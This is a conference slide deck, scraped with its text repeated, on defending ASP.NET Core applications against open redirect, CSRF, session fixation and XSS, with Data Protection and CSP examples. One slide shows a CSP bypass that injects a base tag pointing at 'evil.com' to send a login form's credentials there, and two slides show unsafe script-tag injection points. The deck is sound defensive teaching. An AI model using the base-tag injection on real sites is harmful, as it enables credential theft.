ptsecurity.com Preventing attacks in ASP .NET Core Mikhail Shcherbakov Independent Developer and Consultant
Who am I  Independent Developer and Consultant  Co-organizer of .NET meetups http://dotnet.ru  Public Speaker at DotNext, DotNetConf, ITGM, .NET meetups  Former Product Manager at Cezurity, R&D Developer at Positive Technologies and Team Lead at Acronis, Luxoft, Boeing #2
What you can expect  We’re going to talk about preventing Open Redirect, CSRF, XSS attacks, using and architecture of cookies, Data Protection, Session Management, CSP.  We’re not going to discuss authentication and authorization. #3
Microsoft .NET Core and ASP.NET Core Bug Bounty Program https://aka.ms/corebounty #4
Prevention Open Redirect Attacks
Why do we talk about it? https://github.com/OWASP/Top10/tree/master/2017/datacall #7
WTF? https://github.com/OWASP/Top10/raw/master/2017/OWASP%20To p%2010%20-%202017%20RC1-English.pdf #8
How to use the prevention mechanism public async Task<IActionResult> Login(LoginViewModel model, string returnUrl) { // ... return LocalRedirect(returnUrl); } private IActionResult RedirectToLocal(string returnUrl) { if (Url.IsLocalUrl(returnUrl)) return Redirect(returnUrl); else return RedirectToAction(nameof(HomeController.Index), "Home"); } #10
https://technet.microsoft.com/library/security/4021279 #9
Data Protection
Overview  No machine keys  High level cryptography out-of-the-box  Key stores out-of-the-box  Supports key rotation automatically  Provides isolation based on purposes automatically #12
Protect / Unprotect public class HomeController : Controller { private readonly IDataProtector protector; public HomeController(IDataProtectionProvider provider) { protector = provider.CreateProtector("isolation-purpose"); } public IActionResult Index(string input) { var protectedPayload = protector.Protect(input); var unprotectedPayload = protector.Unprotect(protectedPayload); return View(); } } #13
Protect / Unprotect public IActionResult Index(string input) { var timeLimitedProtector = protector.ToTimeLimitedDataProtector(); var protectedData = timeLimitedProtector.Protect(input, lifetime: TimeSpan.FromMinutes(30)); return View(); } #14
Password Hashing public void StorePassword(SecureString password) { var salt = new byte[128 / 8]; using (var rng = RandomNumberGenerator.Create()) { rng.GetBytes(salt); } var hash = Convert.ToBase64String(KeyDerivation.Pbkdf2( password: password, salt: salt, prf: KeyDerivationPrf.HMACSHA512, iterationCount: 10000, numBytesRequested: 256 / 8)); // store salt and hash to DB... } #15
Configuration public void ConfigureServices(IServiceCollection services) { services.AddDataProtection() .SetApplicationName("isolation-name") .SetDefaultKeyLifetime(TimeSpan.FromDays(14)) .PersistKeysToFileSystem(new DirectoryInfo(@"servershare")) .ProtectKeysWithDpapi() .UseCryptographicAlgorithms(new AuthenticatedEncryptionSettings { EncryptionAlgorithm = EncryptionAlgorithm.AES_256_CBC, ValidationAlgorithm = ValidationAlgorithm.HMACSHA256 }); }
Configuration  HKLMSOFTWAREMicrosoftDotNetPackages Microsoft.AspNetCore.DataProtection  EncryptionType  DefaultKeyLifetime  KeyEscrowSinks
Under the hood  The default payload protection algorithm used is AES-256-CBC for confidentiality and HMACSHA256 for authenticity. A 512-bit master key, rolled every 90 days  Protected payload format  32-bit magic header  128-bit key id  the part of specific to the encryptor #16
Under the hood https://www.youtube.com/watch?v=X1V6_OyQKLw #17
Anti-Request Forgery
Why do we talk about it?  Official documentation was published on 27 March and it has inaccuracies https://docs.microsoft.com/ru-ru/aspnet/core/security/anti- request-forgery  This is an excellent example how to work with cookies! #19
Cross-Site Request Forgery (CSRF) #20
Synchronizer Token Pattern #21
Synchronizer Token Pattern Double-Submit Cookie Pattern #22
AutoValidateAntiforgeryToken public class Startup { public void ConfigureServices(IServiceCollection services) { services.AddMvc(options => options.Filters.Add(new AutoValidateAntiforgeryTokenAttribute())); } } #23
ValidateAntiForgeryToken IgnoreAntiforgeryToken [ValidateAntiForgeryToken] public class CustomController : Controller { [HttpPost] [IgnoreAntiforgeryToken] public IActionResult DoSomething(SomeViewModel model) { // no antiforgery token required } } #24
Generate AntiForgery tokens automatically <form asp-controller="Account" asp-action="Login" asp-route-returnurl="@ViewData["ReturnUrl"]" method="post" class="form-horizontal"> <h4>Use a local account to log in.</h4> <div asp-validation-summary="All" class="text-danger"></div> <div class="form-group">...</div> </form> <form method="post" class="form-horizontal" action="/Account/Login" novalidate="novalidate"> <h4>Use a local account to log in.</h4> <div class="text-danger validation-summary-valid" data-valmsg-summary="true"> <ul><li style="display: none"></li></ul> </div> <div class="form-group">...</div> <input name="__RequestVerificationToken" type="hidden" value="CfDJ8MNYtGIQJ0NKvmDVDgK_YQ2alNtW7VHnQAVGEoKzZhHQgrj0A0o8L8s9049_Z1ELltvpTkCt978aCpj1 </form> #25
Add AntiForgery token explicitly <form action="/" method="post"> @Html.AntiForgeryToken() </form> <input name="__RequestVerificationToken" type="hidden" value="CfDJ8NrAkSldwD9CpLRyOtm6FiJB1Jr_F3FQJQDvhlHoLNJJrLA6zaMUmhjMsisu2D2tFkAiYgyWQawJk9vNm36s #26
AJAX, WebAPI, SPAs…  Do you use authentication cookies?  No cookies, no problems… except for stealing a token by XSS  For example, you may use JSON Web Token (JWT)  Yes, I do… Go next page #27
AJAX, WebAPI, SPAs… @inject Microsoft.AspNetCore.Antiforgery.IAntiforgery Xsrf @functions{ public string GetAntiXsrfRequestToken() { return Xsrf.GetAndStoreTokens(Context).RequestToken; } } <input type="button" id="antiforgery" value="Antiforgery" /> <script> $("#antiforgery").click(function () { $.ajax({ type: "post", dataType: "html", headers: { "RequestVerificationToken": '@GetAntiXsrfRequestToken()' }, url: '@Url.Action("Antiforgery", "Home")', }); }); #28
AngularJS HttpContext.Response.Cookies.Append("XSRF-TOKEN", antiforgery.GetAndStoreTokens(HttpContext).RequestToken, new Microsoft.AspNetCore.Http.CookieOptions { HttpOnly = false }); services.AddAntiforgery(options => options.HeaderName = "X-XSRF-TOKEN"); #29
Under the Hood <form method="post" action="/Home/MyAction"> <div>...</div> <input name="__RequestVerificationToken" type="hidden" value="CfDJ8MNYtGIQJ0NKvmDVDgK_YQ2alNtW7VHnQAVGEoKzZhHQgrj0A0o8L8s9049 </form> https://github.com/aspnet/Antiforgery #30
New Token private static readonly RandomNumberGenerator randomNumberGenerator = RandomNumberGenerator.Create(); private static byte[] GenerateNewToken(int bitLength) { var data = new byte[bitLength / 8]; randomNumberGenerator.GetBytes(data); return data; } #31
Cookie Attributes: Domain and Path public class ResponseCookies : IResponseCookies { public void Append(string key, string value, CookieOptions options) { var cookieHeaderValue = new SetCookieHeaderValue( Uri.EscapeDataString(key), Uri.EscapeDataString(value)); cookieHeaderValue.Domain = options.Domain; cookieHeaderValue.Path = options.Path; #32
Cookie Attributes: HttpOnly #33
Using HttpOnly is enough? cryptoSystem = provider.CreateProtector( "Microsoft.AspNetCore.Antiforgery.AntiforgeryToken.v1"); // ... var bytes = cryptoSystem.Protect(stream.ToArray()); #34
Why isn't it enough again? /* The serialized format of the anti-XSRF token is as follows: * Version: 1 byte integer * SecurityToken: 16 byte binary blob * IsCookieToken: 1 byte Boolean * [if IsCookieToken != true] * +- IsClaimsBased: 1 byte Boolean * | [if IsClaimsBased = true] * | `- ClaimUid: 32 byte binary blob * | [if IsClaimsBased = false] * | `- Username: UTF-8 string with 7-bit integer length prefix * `- AdditionalData: UTF-8 string with 7-bit integer length prefix */ #35
Encrypted DTO Pattern #36
Session Management
Overview private string GetMessageFromCacheOrDb() { // check session cache byte[] value; if (HttpContext.Session.TryGetValue("msg", out value)) { return System.Text.Encoding.UTF8.GetString(value); } var valueMessage = GetMessageFromDb(HttpContext.User.Identity.Name); HttpContext.Session.SetString("msg", valueMessage); return valueMessage; } #38
Overview #38
Why do we talk about it?  The current implementation has a weakness that can be the cause of Session Fixation attack.  The Session Fixation took 2th prize in OWASP Top 10. #40
Demo code private string GetMessageFromCacheOrDb() { // check session cache byte[] value; if (HttpContext.Session.TryGetValue("msg", out value)) { return System.Text.Encoding.UTF8.GetString(value); } var valueMessage = GetMessageFromDb(HttpContext.User.Identity.Name); HttpContext.Session.SetString("msg", valueMessage); return valueMessage; } #41
Session Fixation in ASP .NET Core  Don’t store security sensitive data in a session!..  Or die fix it in your project. #43
Prevention XSS Attacks
Why do we talk about it?  The XSS is the most popular attack to web applications  https://github.com/OWASP/Top10/tree/master/2017/datacall  https://twitter.com/kochetkov_v/status/857575220160462850  This is a good entry point for other attacks with more impact  Only some people know and correctly use built-in XSS prevention mechanisms #45
Same-origin policy (SOP)  URI scheme (http)  Hostname (my-domain.com)  Port number (80) #46
Potential XSS <script src="@ViewData["UntrustedInput"]"> </script> #47
Potential XSS <script> @ViewData["UntrustedInput"]; </script> #48
Encoding points  HTML  JavaScript  URL  XML  SVG #49
Encoding points  HtmlEncoder (@<member> in .cshtml)  JavaScriptEncoder  UrlEncoder  Any sanitizer https://github.com/mganss/HtmlSanitizer #50
Content Security Policy (CSP) app.UseMvc(); app.Use(async (context, next) => { context.Response.Headers.Add("Content-Security-Policy", "default-src 'self'; report-uri /cspreport"); await next(); }); #51
CSP Report Request public class CspReportRequest { [JsonProperty(PropertyName = "csp-report")] public CspReport CspReport { get; set; } } public class CspReport { [JsonProperty(PropertyName = "document-uri")] public string DocumentUri { get; set; } [JsonProperty(PropertyName = "referrer")] public string Referrer { get; set; } [JsonProperty(PropertyName = "violated-directive")] public string ViolatedDirective { get; set; } [JsonProperty(PropertyName = "effective-directive")] public string EffectiveDirective {get; set;} [JsonProperty(PropertyName = "original-policy")] public string OriginalPolicy { get; set; } [JsonProperty(PropertyName = "blocked-uri")] public string BlockedUri { get; set; } [JsonProperty(PropertyName = "status-code")] public int StatusCode { get; set; } } #52
CSP Report Endpoint [HttpPost("~/cspreport")] public IActionResult CspReport([FromBody] CspReportRequest request) { // log and analyze the report... return Ok(); } #53
Bypass <base href='http://evil.com/'> <form method="post" class="form-horizontal" action="/Account/Login"> <h4>Use a local account to log in.</h4> <input type="email" id="Email" name="Email" value="" /> <input type="password" id="Password" name="Password" /> <button type="submit">Log in</button> <input name="__RequestVerificationToken" type="hidden" value="CfDJ8MNYtGIQJ0N </form> #54
x-xss-protection app.UseMvc(); app.Use(async (context, next) => { context.Response.Headers.Add("x-xss-protection", "1"); await next(); }); #55
Summary  Michal Zalewski “Tangled Web. A Guide to Securing Modern Web Applications”  Stan Drapkin “Security Driven .NET”  OWASP Testing Guide v4 #56
Questions?! Mikhail Shcherbakov @yu5k3 https://www.linkedin.com/in/mikhailshcherbakov Independent Developer and Consultant The presentation contains footage from Olive Kitteridge
ptsecurity.com Спасибо! Thank you!

Механизмы предотвращения атак в ASP.NET Core

  • 1.
    ptsecurity.com Preventing attacks in ASP.NET Core Mikhail Shcherbakov Independent Developer and Consultant
  • 2.
    Who am I Independent Developer and Consultant  Co-organizer of .NET meetups http://dotnet.ru  Public Speaker at DotNext, DotNetConf, ITGM, .NET meetups  Former Product Manager at Cezurity, R&D Developer at Positive Technologies and Team Lead at Acronis, Luxoft, Boeing #2
  • 3.
    What you canexpect  We’re going to talk about preventing Open Redirect, CSRF, XSS attacks, using and architecture of cookies, Data Protection, Session Management, CSP.  We’re not going to discuss authentication and authorization. #3
  • 4.
    Microsoft .NET Coreand ASP.NET Core Bug Bounty Program https://aka.ms/corebounty #4
  • 5.
  • 7.
    Why do wetalk about it? https://github.com/OWASP/Top10/tree/master/2017/datacall #7
  • 8.
  • 9.
    How to usethe prevention mechanism public async Task<IActionResult> Login(LoginViewModel model, string returnUrl) { // ... return LocalRedirect(returnUrl); } private IActionResult RedirectToLocal(string returnUrl) { if (Url.IsLocalUrl(returnUrl)) return Redirect(returnUrl); else return RedirectToAction(nameof(HomeController.Index), "Home"); } #10
  • 10.
  • 11.
  • 12.
    Overview  No machinekeys  High level cryptography out-of-the-box  Key stores out-of-the-box  Supports key rotation automatically  Provides isolation based on purposes automatically #12
  • 13.
    Protect / Unprotect publicclass HomeController : Controller { private readonly IDataProtector protector; public HomeController(IDataProtectionProvider provider) { protector = provider.CreateProtector("isolation-purpose"); } public IActionResult Index(string input) { var protectedPayload = protector.Protect(input); var unprotectedPayload = protector.Unprotect(protectedPayload); return View(); } } #13
  • 14.
    Protect / Unprotect publicIActionResult Index(string input) { var timeLimitedProtector = protector.ToTimeLimitedDataProtector(); var protectedData = timeLimitedProtector.Protect(input, lifetime: TimeSpan.FromMinutes(30)); return View(); } #14
  • 15.
    Password Hashing public voidStorePassword(SecureString password) { var salt = new byte[128 / 8]; using (var rng = RandomNumberGenerator.Create()) { rng.GetBytes(salt); } var hash = Convert.ToBase64String(KeyDerivation.Pbkdf2( password: password, salt: salt, prf: KeyDerivationPrf.HMACSHA512, iterationCount: 10000, numBytesRequested: 256 / 8)); // store salt and hash to DB... } #15
  • 16.
    Configuration public void ConfigureServices(IServiceCollectionservices) { services.AddDataProtection() .SetApplicationName("isolation-name") .SetDefaultKeyLifetime(TimeSpan.FromDays(14)) .PersistKeysToFileSystem(new DirectoryInfo(@"servershare")) .ProtectKeysWithDpapi() .UseCryptographicAlgorithms(new AuthenticatedEncryptionSettings { EncryptionAlgorithm = EncryptionAlgorithm.AES_256_CBC, ValidationAlgorithm = ValidationAlgorithm.HMACSHA256 }); }
  • 17.
  • 18.
    Under the hood The default payload protection algorithm used is AES-256-CBC for confidentiality and HMACSHA256 for authenticity. A 512-bit master key, rolled every 90 days  Protected payload format  32-bit magic header  128-bit key id  the part of specific to the encryptor #16
  • 19.
  • 20.
  • 21.
    Why do wetalk about it?  Official documentation was published on 27 March and it has inaccuracies https://docs.microsoft.com/ru-ru/aspnet/core/security/anti- request-forgery  This is an excellent example how to work with cookies! #19
  • 22.
  • 23.
  • 24.
  • 25.
    AutoValidateAntiforgeryToken public class Startup { publicvoid ConfigureServices(IServiceCollection services) { services.AddMvc(options => options.Filters.Add(new AutoValidateAntiforgeryTokenAttribute())); } } #23
  • 26.
    ValidateAntiForgeryToken IgnoreAntiforgeryToken [ValidateAntiForgeryToken] public class CustomController: Controller { [HttpPost] [IgnoreAntiforgeryToken] public IActionResult DoSomething(SomeViewModel model) { // no antiforgery token required } } #24
  • 27.
    Generate AntiForgery tokensautomatically <form asp-controller="Account" asp-action="Login" asp-route-returnurl="@ViewData["ReturnUrl"]" method="post" class="form-horizontal"> <h4>Use a local account to log in.</h4> <div asp-validation-summary="All" class="text-danger"></div> <div class="form-group">...</div> </form> <form method="post" class="form-horizontal" action="/Account/Login" novalidate="novalidate"> <h4>Use a local account to log in.</h4> <div class="text-danger validation-summary-valid" data-valmsg-summary="true"> <ul><li style="display: none"></li></ul> </div> <div class="form-group">...</div> <input name="__RequestVerificationToken" type="hidden" value="CfDJ8MNYtGIQJ0NKvmDVDgK_YQ2alNtW7VHnQAVGEoKzZhHQgrj0A0o8L8s9049_Z1ELltvpTkCt978aCpj1 </form> #25
  • 28.
    Add AntiForgery tokenexplicitly <form action="/" method="post"> @Html.AntiForgeryToken() </form> <input name="__RequestVerificationToken" type="hidden" value="CfDJ8NrAkSldwD9CpLRyOtm6FiJB1Jr_F3FQJQDvhlHoLNJJrLA6zaMUmhjMsisu2D2tFkAiYgyWQawJk9vNm36s #26
  • 29.
    AJAX, WebAPI, SPAs… Do you use authentication cookies?  No cookies, no problems… except for stealing a token by XSS  For example, you may use JSON Web Token (JWT)  Yes, I do… Go next page #27
  • 30.
    AJAX, WebAPI, SPAs… @injectMicrosoft.AspNetCore.Antiforgery.IAntiforgery Xsrf @functions{ public string GetAntiXsrfRequestToken() { return Xsrf.GetAndStoreTokens(Context).RequestToken; } } <input type="button" id="antiforgery" value="Antiforgery" /> <script> $("#antiforgery").click(function () { $.ajax({ type: "post", dataType: "html", headers: { "RequestVerificationToken": '@GetAntiXsrfRequestToken()' }, url: '@Url.Action("Antiforgery", "Home")', }); }); #28
  • 31.
  • 32.
    Under the Hood <formmethod="post" action="/Home/MyAction"> <div>...</div> <input name="__RequestVerificationToken" type="hidden" value="CfDJ8MNYtGIQJ0NKvmDVDgK_YQ2alNtW7VHnQAVGEoKzZhHQgrj0A0o8L8s9049 </form> https://github.com/aspnet/Antiforgery #30
  • 33.
    New Token private staticreadonly RandomNumberGenerator randomNumberGenerator = RandomNumberGenerator.Create(); private static byte[] GenerateNewToken(int bitLength) { var data = new byte[bitLength / 8]; randomNumberGenerator.GetBytes(data); return data; } #31
  • 34.
    Cookie Attributes: Domainand Path public class ResponseCookies : IResponseCookies { public void Append(string key, string value, CookieOptions options) { var cookieHeaderValue = new SetCookieHeaderValue( Uri.EscapeDataString(key), Uri.EscapeDataString(value)); cookieHeaderValue.Domain = options.Domain; cookieHeaderValue.Path = options.Path; #32
  • 35.
  • 36.
    Using HttpOnly isenough? cryptoSystem = provider.CreateProtector( "Microsoft.AspNetCore.Antiforgery.AntiforgeryToken.v1"); // ... var bytes = cryptoSystem.Protect(stream.ToArray()); #34
  • 37.
    Why isn't itenough again? /* The serialized format of the anti-XSRF token is as follows: * Version: 1 byte integer * SecurityToken: 16 byte binary blob * IsCookieToken: 1 byte Boolean * [if IsCookieToken != true] * +- IsClaimsBased: 1 byte Boolean * | [if IsClaimsBased = true] * | `- ClaimUid: 32 byte binary blob * | [if IsClaimsBased = false] * | `- Username: UTF-8 string with 7-bit integer length prefix * `- AdditionalData: UTF-8 string with 7-bit integer length prefix */ #35
  • 38.
  • 39.
  • 40.
    Overview private string GetMessageFromCacheOrDb() { //check session cache byte[] value; if (HttpContext.Session.TryGetValue("msg", out value)) { return System.Text.Encoding.UTF8.GetString(value); } var valueMessage = GetMessageFromDb(HttpContext.User.Identity.Name); HttpContext.Session.SetString("msg", valueMessage); return valueMessage; } #38
  • 41.
  • 42.
    Why do wetalk about it?  The current implementation has a weakness that can be the cause of Session Fixation attack.  The Session Fixation took 2th prize in OWASP Top 10. #40
  • 43.
    Demo code private stringGetMessageFromCacheOrDb() { // check session cache byte[] value; if (HttpContext.Session.TryGetValue("msg", out value)) { return System.Text.Encoding.UTF8.GetString(value); } var valueMessage = GetMessageFromDb(HttpContext.User.Identity.Name); HttpContext.Session.SetString("msg", valueMessage); return valueMessage; } #41
  • 45.
    Session Fixation inASP .NET Core  Don’t store security sensitive data in a session!..  Or die fix it in your project. #43
  • 46.
  • 47.
    Why do wetalk about it?  The XSS is the most popular attack to web applications  https://github.com/OWASP/Top10/tree/master/2017/datacall  https://twitter.com/kochetkov_v/status/857575220160462850  This is a good entry point for other attacks with more impact  Only some people know and correctly use built-in XSS prevention mechanisms #45
  • 48.
    Same-origin policy (SOP) URI scheme (http)  Hostname (my-domain.com)  Port number (80) #46
  • 49.
  • 50.
  • 51.
    Encoding points  HTML JavaScript  URL  XML  SVG #49
  • 52.
    Encoding points  HtmlEncoder(@<member> in .cshtml)  JavaScriptEncoder  UrlEncoder  Any sanitizer https://github.com/mganss/HtmlSanitizer #50
  • 53.
    Content Security Policy(CSP) app.UseMvc(); app.Use(async (context, next) => { context.Response.Headers.Add("Content-Security-Policy", "default-src 'self'; report-uri /cspreport"); await next(); }); #51
  • 54.
    CSP Report Request publicclass CspReportRequest { [JsonProperty(PropertyName = "csp-report")] public CspReport CspReport { get; set; } } public class CspReport { [JsonProperty(PropertyName = "document-uri")] public string DocumentUri { get; set; } [JsonProperty(PropertyName = "referrer")] public string Referrer { get; set; } [JsonProperty(PropertyName = "violated-directive")] public string ViolatedDirective { get; set; } [JsonProperty(PropertyName = "effective-directive")] public string EffectiveDirective {get; set;} [JsonProperty(PropertyName = "original-policy")] public string OriginalPolicy { get; set; } [JsonProperty(PropertyName = "blocked-uri")] public string BlockedUri { get; set; } [JsonProperty(PropertyName = "status-code")] public int StatusCode { get; set; } } #52
  • 55.
    CSP Report Endpoint [HttpPost("~/cspreport")] publicIActionResult CspReport([FromBody] CspReportRequest request) { // log and analyze the report... return Ok(); } #53
  • 56.
    Bypass <base href='http://evil.com/'> <form method="post"class="form-horizontal" action="/Account/Login"> <h4>Use a local account to log in.</h4> <input type="email" id="Email" name="Email" value="" /> <input type="password" id="Password" name="Password" /> <button type="submit">Log in</button> <input name="__RequestVerificationToken" type="hidden" value="CfDJ8MNYtGIQJ0N </form> #54
  • 57.
    x-xss-protection app.UseMvc(); app.Use(async (context, next)=> { context.Response.Headers.Add("x-xss-protection", "1"); await next(); }); #55
  • 58.
    Summary  Michal Zalewski“Tangled Web. A Guide to Securing Modern Web Applications”  Stan Drapkin “Security Driven .NET”  OWASP Testing Guide v4 #56
  • 59.
  • 60.

Editor's Notes

  • #9 Positive Technologies Top 10
  • #19 https://docs.microsoft.com/en-us/aspnet/core/security/data-protection/configuration/machine-wide-policy
  • #27 Except: GET HEAD OPTIONS TRACE
  • #37 Потенциальные проблемы с авторизацией
  • #38 Why using HttpOnly attribute is not enough?
  • #39 Set cookie before the server (XSS, Set-Cookie header) В распределенной системе вы должны позаботиться о key store доступный всем серверам
  • #45 Authentication cookie Session cookie Differences with ASP .NET WebForms/MVC implementation
  • #59 Упомянуть про script-nonce
  • #61 https://msdn.microsoft.com/en-us/library/dd565647